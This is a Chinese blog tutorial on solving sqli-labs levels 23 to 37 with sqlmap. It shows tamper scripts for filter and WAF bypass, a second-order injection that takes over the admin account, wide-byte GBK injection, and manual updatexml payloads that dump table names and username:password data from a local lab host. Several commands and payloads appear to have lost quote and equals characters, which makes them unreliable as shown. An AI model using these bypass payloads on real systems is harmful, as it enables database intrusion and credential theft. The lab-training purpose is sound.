SQLmap 通关 sqli-labs 系列(四):Tamper 脚本与过滤绕过

发布时间:2026/6/25 21:19:08
SQLmap 通关 sqli-labs 系列(四):Tamper 脚本与过滤绕过 摘要从 Less-23 起sqli-labs 开启了过滤模式注释被删、AND/OR 被吞、空格消失、UNION 被拦、宽字节作祟……这些防护像一层层盔甲。本篇将祭出 SQLmap 的最强武器——Tamper 脚本并结合--suffix、--prefix、--union-cols等高级参数把这些盔甲一件件砸碎。我们将依次解决注释过滤、二次注入、AND/OR 过滤、空格注释过滤、UNION/SELECT 过滤以及 GBK 宽字节注入让 Less-23 到 Less-37 全部沦陷。一、我们的武器库Tamper 脚本与手动闭合Tamper 脚本是 Payload 的变形器位置在/usr/share/sqlmap/tamper/。常用脚本versionedmorekeywords将关键词变为/*!keyword*/绕过简单替换。space2comment空格→/**/。space2hash空格→%23换行。charencodeURL 编码所有字符。randomcase随机大小写。commentbeforekeywords在关键词中插入注释如un/**/ion。between、greatest、symboliclogical等价替换减少 AND/OR。unmagicquotes宽字节绕过addslashes()。base64encodeBase64 编码。手动闭合参数--prefix前面需要闭合的字符串例如、)、)))。--suffix后面需要处理的内容例如AND 11可以代替注释符。我们将在实战中组合使用它们。二、过滤逐一突破2.1 Less-23注释符过滤过滤--和#被替换为空。我们不用注释用--suffix闭合后面引号。sqlmap -u http://192.168.137.1/sqli-labs/Less-23/?id1 --suffix AND 11 --prefix --batch --dbs解释最终的 Payload 会变成id1 [注入代码] AND 11后面的单引号完美闭合无需注释。2.2 Less-24二次注入这是一个存储型二次注入完全不需要SQLmap。我们这样操作浏览器打开http://192.168.137.1/sqli-labs/Less-24/new_user.php注册新用户用户名admin#密码1注册完自动登录进入修改密码页面。当前密码填1新密码填2确认密码填2提交。退出用admin / 2登录登录成功。2.3 Less-25OR 和 AND 过滤or和and被替换为空忽略大小写。我们使用versionedmorekeywords和between组合。sqlmap -u http://192.168.137.1/sqli-labs/Less-25/?id1 --tamperversionedmorekeywords,between --batch --current-db2.4 Less-26空格与注释封杀SQLmap测试一直报错以下是手注步骤// 获取当前数据库名 http://192.168.137.1/sqli-labs/Less-26/?id-1||updatexml(1,concat(0x7e,database(),0x7e),1)||11 // 获取数据库所有表 http://192.168.137.1/sqli-labs/Less-26/?id-1||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schemasecurity)),0x7e),1)||11 // 获取users表所有字段 http://192.168.137.1/sqli-labs/Less-26/?id1%26%26(updatexml(1,concat(0x7e,(select(group_concat(column_name))from%60infoorrmation_schema%60.%60columns%60where(table_nameusers)anandd(table_schemadatabase()))),1))%26%2611 // 获取users表数据 http://192.168.137.1/sqli-labs/Less-26/?id1%26%26(updatexml(1,concat(0x7e,substr((select(group_concat(username,0x3a,passwoorrd))from(users)),1,30)),1))%26%26112.5 Less-27UNION 和 SELECT 过滤sqlmap -u http://192.168.137.1/sqli-labs/Less-27/?id1 \ --tamperspace2randomblank,randomcase \ --level3 --risk3 \ --batch --dbsrandomcase打乱大小写commentbeforekeywords在UNION中插入注释。2.6 Less-28 ~ Less-31这些关卡的过滤与前面类似可复用上面的 tamper 组合。sqlmap -u http://192.168.137.1/sqli-labs/Less-(28、29、30、31)/?id1 \ --tamperspace2randomblank,randomcase \ --level3 --risk3 \ --batch --dbs2.7 宽字节注入Less-32 ~ Less-37Less-32 使用 GBKaddslashes()转义单引号。手工用%df%27。Tamper 脚本unmagicquotes自动完成sqlmap -u http://192.168.137.1/sqli-labs/Less-32/?id1 --tamperunmagicquotes --batch --dbsLess-33 到 Less-37 都是宽字节变体双引号、POST 等POST 型结合-r使用sqlmap -u http://192.168.137.1/sqli-labs/Less-33/?id1 --tamperunmagicquotes --batch --dbssqlmap -u http://192.168.137.1/sqli-labs/Less-34/ \ --dataunameadminpasswdadminsubmitSubmit \ -p uname \ --tamperunmagicquotes \ --dbmsmysql \ --batch --dbssqlmap -u http://192.168.137.1/sqli-labs/Less-35/?id1 --batch --dbssqlmap -u http://192.168.137.1/sqli-labs/Less-36/?id1 --tamperunmagicquotes --batch --dbssqlmap -u http://192.168.137.1/sqli-labs/Less-37/ \ --dataunameadminpasswdadminsubmitSubmit \ -p uname \ --tamperunmagicquotes \ --dbmsmysql \ --batch --dbs三、总结你已经掌握了使用 Tamper 脚本和手动闭合突破各种输入过滤的方法。记住遇到注释过滤 →--suffix替代。关键字过滤 →versionedmorekeywords,symboliclogical等。空格过滤 →charencode,space2hash,space2comment等。宽字节 →unmagicquotes。脚本可以自由组合用逗号分隔。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。工具是死的人的思维是活的。Tamper 脚本的每一次变形都是对安全研究前辈智慧的一次致敬。